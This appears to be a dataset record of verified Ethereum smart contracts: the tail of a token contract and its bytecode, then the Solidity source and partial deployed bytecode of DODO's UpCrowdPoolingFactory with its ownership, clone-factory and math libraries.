totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019c57806318160ddd1461020157806323b872dd1461022c5780632ff2e9dc146102b1578063313ce567146102dc5780633f4ba83a1461030d57806354fd4d50146103245780635c975abb146103b457806366188463146103e357806370a0823114610448578063715018a61461049f5780638456cb59146104b65780638da5cb5b146104cd57806395d89b4114610524578063a9059cbb146105b4578063d73dd62314610619578063dd62ed3e1461067e578063f2fde38b146106f5575b600080fd5b34801561011857600080fd5b50610121610738565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610161578082015181840152602081019050610146565b50505050905090810190601f16801561018e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a857600080fd5b506101e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d6565b604051808215151515815260200191505060405180910390f35b34801561020d57600080fd5b50610216610806565b6040518082815260200191505060405180910390f35b34801561023857600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610810565b604051808215151515815260200191505060405180910390f35b3480156102bd57600080fd5b506102c6610842565b6040518082815260200191505060405180910390f35b3480156102e857600080fd5b506102f1610848565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031957600080fd5b5061032261085b565b005b34801561033057600080fd5b5061033961091b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561037957808201518184015260208101905061035e565b50505050905090810190601f1680156103a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103c057600080fd5b506103c96109b9565b604051808215151515815260200191505060405180910390f35b3480156103ef57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cc565b604051808215151515815260200191505060405180910390f35b34801561045457600080fd5b50610489600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109fc565b6040518082815260200191505060405180910390f35b3480156104ab57600080fd5b506104b4610a44565b005b3480156104c257600080fd5b506104cb610b49565b005b3480156104d957600080fd5b506104e2610c0a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053057600080fd5b50610539610c30565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057957808201518184015260208101905061055e565b50505050905090810190601f1680156105a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c057600080fd5b506105ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cce565b604051808215151515815260200191505060405180910390f35b34801561062557600080fd5b50610664600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cfe565b604051808215151515815260200191505060405180910390f35b34801561068a57600080fd5b506106df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2e565b6040518082815260200191505060405180910390f35b34801561070157600080fd5b50610736600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db5565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156107f457600080fd5b6107fe8383610e1d565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561082e57600080fd5b610839848484610f0f565b90509392505050565b60085481565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b757600080fd5b600360149054906101000a900460ff1615156108d257600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b15780601f10610986576101008083540402835291602001916109b1565b820191906000526020600020905b81548152906001019060200180831161099457829003601f168201915b505050505081565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff161515156109ea57600080fd5b6109f483836112c9565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba557600080fd5b600360149054906101000a900460ff16151515610bc157600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cc65780601f10610c9b57610100808354040283529160200191610cc6565b820191906000526020600020905b815481529060010190602001808311610ca957829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610cec57600080fd5b610cf6838361155a565b905092915050565b6000600360149054906101000a900460ff16151515610d1c57600080fd5b610d268383611779565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1157600080fd5b610e1a81611975565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f4c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f9957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561102457600080fd5b611075826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611108826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156113da576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146e565b6113ed8382611a7190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561159757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115e457600080fd5b611635826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061180a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119b157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a7f57fe5b818303905092915050565b60008183019050828110151515611a9d57fe5b809050929150505600a165627a7a723058205d6fa8b37c8c7f4c1ba3190277c8816cf7b22a9a9aa1b87b3d8bcac6c80fa0c10029
|
{"success": true, "error": null, "results": {}}
| 8,095 |
0x0c4b4F1D5F5c989457cdD6f5102308b33c922281
|
/**
*Submitted for verification at Etherscan.io on 2021-03-13
*/
// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/CloneFactory.sol
interface ICloneFactory {
function clone(address prototype) external returns (address proxy);
}
// introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/
// minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167
contract CloneFactory is ICloneFactory {
function clone(address prototype) external override returns (address proxy) {
bytes20 targetBytes = bytes20(prototype);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
proxy := create(0, clone, 0x37)
}
return proxy;
}
}
// File: contracts/CrowdPooling/intf/ICP.sol
interface ICP {
function init(
address[] calldata addressList,
uint256[] calldata timeLine,
uint256[] calldata valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
function cancel(address assetTo, uint256 amount) external;
function settle() external;
function emergencySettle() external;
function claimBase() external;
function claimQuote() external;
function claimLPToken() external;
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
}
// File: contracts/Factory/UpCrowdPoolingFactory.sol
/**
* @title UpCrowdPoolingFacotry
* @author DODO Breeder
*
* @notice Create And Register vary price CP Pools
*/
contract UpCrowdPoolingFactory is InitializableOwnable {
using SafeMath for uint256;
// ============ Templates ============
address public immutable _CLONE_FACTORY_;
address public immutable _DVM_FACTORY_;
address public immutable _DEFAULT_MAINTAINER_;
address public immutable _DEFAULT_MT_FEE_RATE_MODEL_;
address public immutable _DEFAULT_PERMISSION_MANAGER_;
address public _CP_TEMPLATE_;
// ============ Settings =============
uint256 public _FREEZE_DURATION_ = 30 days;
uint256 public _CALM_DURATION_ = 0;
uint256 public _VEST_DURATION_ = 0;
uint256 public _CLIFF_RATE_ = 10**18;
// ============ Registry ============
// base -> quote -> CP address list
mapping(address => mapping(address => address[])) public _REGISTRY_;
// creator -> CP address list
mapping(address => address[]) public _USER_REGISTRY_;
// ============ modifiers ===========
modifier valueCheck(
address cpAddress,
address baseToken,
uint256[] memory timeLine,
uint256[] memory valueList)
{
require(timeLine[2] <= _CALM_DURATION_, "CP_FACTORY : PHASE_CALM_DURATION_INVALID");
require(timeLine[4] == _VEST_DURATION_, "CP_FACTORY : VEST_DURATION_INVALID");
require(valueList[3] == _CLIFF_RATE_, "CP_FACTORY : CLIFF_RATE_INVALID");
require(timeLine[3] >= _FREEZE_DURATION_, "CP_FACTORY : FREEZE_DURATION_INVALID");
_;
}
// ============ Events ============
event NewCP(
address baseToken,
address quoteToken,
address creator,
address cp
);
constructor(
address cloneFactory,
address cpTemplate,
address dvmFactory,
address defaultMaintainer,
address defaultMtFeeRateModel,
address defaultPermissionManager
) public {
_CLONE_FACTORY_ = cloneFactory;
_CP_TEMPLATE_ = cpTemplate;
_DVM_FACTORY_ = dvmFactory;
_DEFAULT_MAINTAINER_ = defaultMaintainer;
_DEFAULT_MT_FEE_RATE_MODEL_ = defaultMtFeeRateModel;
_DEFAULT_PERMISSION_MANAGER_ = defaultPermissionManager;
}
// ============ Functions ============
function createCrowdPooling() external returns (address newCrowdPooling) {
newCrowdPooling = ICloneFactory(_CLONE_FACTORY_).clone(_CP_TEMPLATE_);
}
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external valueCheck(cpAddress,baseToken,timeLine,valueList) {
{
address[] memory addressList = new address[](7);
addressList[0] = creator;
addressList[1] = _DEFAULT_MAINTAINER_;
addressList[2] = baseToken;
addressList[3] = quoteToken;
addressList[4] = _DEFAULT_PERMISSION_MANAGER_;
addressList[5] = _DEFAULT_MT_FEE_RATE_MODEL_;
addressList[6] = _DVM_FACTORY_;
if(valueList[0] == 0) valueList[0] = uint112(-1);
ICP(cpAddress).init(
addressList,
timeLine,
valueList,
isOpenTWAP
);
}
_REGISTRY_[baseToken][quoteToken].push(cpAddress);
_USER_REGISTRY_[creator].push(cpAddress);
emit NewCP(baseToken, quoteToken, creator, cpAddress);
}
// ============ View Functions ============
function getCrowdPooling(address baseToken, address quoteToken)
external
view
returns (address[] memory pools)
{
return _REGISTRY_[baseToken][quoteToken];
}
function getCrowdPoolingBidirection(address token0, address token1)
external
view
returns (address[] memory baseToken0Pools, address[] memory baseToken1Pools)
{
return (_REGISTRY_[token0][token1], _REGISTRY_[token1][token0]);
}
function getCrowdPoolingByUser(address user)
external
view
returns (address[] memory pools)
{
return _USER_REGISTRY_[user];
}
// ============ Owner Functions ============
function updateCPTemplate(address _newCPTemplate) external onlyOwner {
_CP_TEMPLATE_ = _newCPTemplate;
}
function setFreezeDuration(uint256 _newFreeDuration) public onlyOwner {
_FREEZE_DURATION_ = _newFreeDuration;
}
function setCalmDuration(uint256 _newCalmDuration) public onlyOwner {
_CALM_DURATION_ = _newCalmDuration;
}
function setVestDuration(uint256 _newVestDuration) public onlyOwner {
_VEST_DURATION_ = _newVestDuration;
}
function setCliffRate(uint256 _newCliffRate) public onlyOwner {
require(_newCliffRate <= 10**18, "CP_FACTORY : INVALID");
_CLIFF_RATE_ = _newCliffRate;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636ca2aa95116100f9578063bdeb0a9111610097578063e0f5d89e11610071578063e0f5d89e1461031f578063eb774d0514610327578063ecfc2db01461032f578063f2fde38b14610342576101a9565b8063bdeb0a91146102fc578063c2c2757b1461030f578063ce90ea7414610317576101a9565b806389edcf14116100d357806389edcf14146102c6578063a58888db146102ce578063a6569b3f146102e1578063a820636b146102e9576101a9565b80636ca2aa95146102a357806381ab4d0a146102b65780638456db15146102be576101a9565b80634c59de661161016657806364ddb0131161014057806364ddb013146102605780636556c7e51461027357806369e4e417146102935780636c5ccb9b1461029b576101a9565b80634c59de66146102325780634e71e0c8146102455780635568587a1461024d576101a9565b806307b8a636146101ae5780630d009297146101c357806316048bc4146101d6578063294dafc0146101f45780633ff9b61e1461020957806341a1759c14610211575b600080fd5b6101c16101bc3660046110f9565b610355565b005b6101c16101d1366004610f53565b61038d565b6101de6103ed565b6040516101eb9190611183565b60405180910390f35b6101fc6103fc565b6040516101eb91906113f6565b6101fc610402565b61022461021f366004610f92565b610408565b6040516101eb9291906111d5565b6101c16102403660046110f9565b610500565b6101c1610557565b6101c161025b3660046110f9565b6105e5565b6101c161026e366004610f53565b610614565b610286610281366004610f92565b610660565b6040516101eb91906111c2565b6101de6106e3565b6101de610707565b6101c16102b13660046110f9565b61072b565b6101de61075a565b6101de61077e565b6101de61078d565b6101de6102dc3660046110ce565b610837565b6101de61086c565b6102866102f7366004610f53565b61087b565b6101de61030a36600461108e565b6108f1565b6101fc610933565b6101fc610939565b6101de61093f565b6101de610963565b6101c161033d366004610fca565b610987565b6101c1610350366004610f53565b610e3b565b6000546001600160a01b031633146103885760405162461bcd60e51b815260040161037f906113d3565b60405180910390fd5b600455565b600154600160a01b900460ff16156103b75760405162461bcd60e51b815260040161037f906113a9565b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b60065481565b60055481565b6001600160a01b038083166000818152600760208181526040808420958716845294815284832091815284832093835292835290839020815484518185028101850190955280855260609485949091849183018282801561049257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610474575b50505050509150808054806020026020016040519081016040528092919081815260200182805480156104ee57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116104d0575b50505050509050915091509250929050565b6000546001600160a01b0316331461052a5760405162461bcd60e51b815260040161037f906113d3565b670de0b6b3a76400008111156105525760405162461bcd60e51b815260040161037f9061124f565b600655565b6001546001600160a01b031633146105815760405162461bcd60e51b815260040161037f9061127d565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461060f5760405162461bcd60e51b815260040161037f906113d3565b600555565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161037f906113d3565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380831660009081526007602090815260408083209385168352928152908290208054835181840281018401909452808452606093928301828280156106d657602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106b8575b5050505050905092915050565b7f000000000000000000000000c9ed9b18e447e600238fe50e944b9062b664dea481565b7f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161037f906113d3565b600355565b7f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081565b6001546001600160a01b031681565b6002546040516340925bc760e11b81526000916001600160a01b037f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b88811692638124b78e926107e0921690600401611183565b602060405180830381600087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108329190610f76565b905090565b6008602052816000526040600020818154811061085057fe5b6000918252602090912001546001600160a01b03169150829050565b6002546001600160a01b031681565b6001600160a01b0381166000908152600860209081526040918290208054835181840281018401909452808452606093928301828280156108e557602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116108c7575b50505050509050919050565b6007602052826000526040600020602052816000526040600020818154811061091657fe5b6000918252602090912001546001600160a01b0316925083915050565b60045481565b60035481565b7f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281565b7f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b8881565b868584846004548260028151811061099b57fe5b602002602001015111156109c15760405162461bcd60e51b815260040161037f9061131f565b600554826004815181106109d157fe5b6020026020010151146109f65760405162461bcd60e51b815260040161037f90611367565b60065481600381518110610a0657fe5b602002602001015114610a2b5760405162461bcd60e51b815260040161037f906112e8565b60035482600381518110610a3b57fe5b60200260200101511015610a615760405162461bcd60e51b815260040161037f906112a4565b60408051600780825261010082019092526060916020820160e0803683370190505090508a81600081518110610a9357fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081600181518110610ae157fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508981600281518110610b0f57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508881600381518110610b3d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281600481518110610b8b57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181600581518110610bd957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c9ed9b18e447e600238fe50e944b9062b664dea481600681518110610c2757fe5b60200260200101906001600160a01b031690816001600160a01b03168152505086600081518110610c5457fe5b602002602001015160001415610c91576000196dffffffffffffffffffffffffffff1687600081518110610c8457fe5b6020026020010181815250505b6040516341dd3c3360e11b81526001600160a01b038d16906383ba786690610cc39084908c908c908c90600401611203565b600060405180830381600087803b158015610cdd57600080fd5b505af1158015610cf1573d6000803e3d6000fd5b5050505050600760008a6001600160a01b03166001600160a01b031681526020019081526020016000206000896001600160a01b03166001600160a01b031681526020019081526020016000208b9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b03160217905550600860008b6001600160a01b03166001600160a01b031681526020019081526020016000208b9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b031602179055507f0bd1e8ce555b4ec75d8b1c8113a8812659e0d94f0b4c67637dc049434604b45d89898c8e604051610e269493929190611197565b60405180910390a15050505050505050505050565b6000546001600160a01b03163314610e655760405162461bcd60e51b815260040161037f906113d3565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082601f830112610ed0578081fd5b813567ffffffffffffffff80821115610ee7578283fd5b602080830260405182828201018181108582111715610f04578687fd5b604052848152945081850192508582018187018301881015610f2557600080fd5b600091505b84821015610f48578035845292820192600191909101908201610f2a565b505050505092915050565b600060208284031215610f64578081fd5b8135610f6f816113ff565b9392505050565b600060208284031215610f87578081fd5b8151610f6f816113ff565b60008060408385031215610fa4578081fd5b8235610faf816113ff565b91506020830135610fbf816113ff565b809150509250929050565b600080600080600080600060e0888a031215610fe4578283fd5b8735610fef816113ff565b96506020880135610fff816113ff565b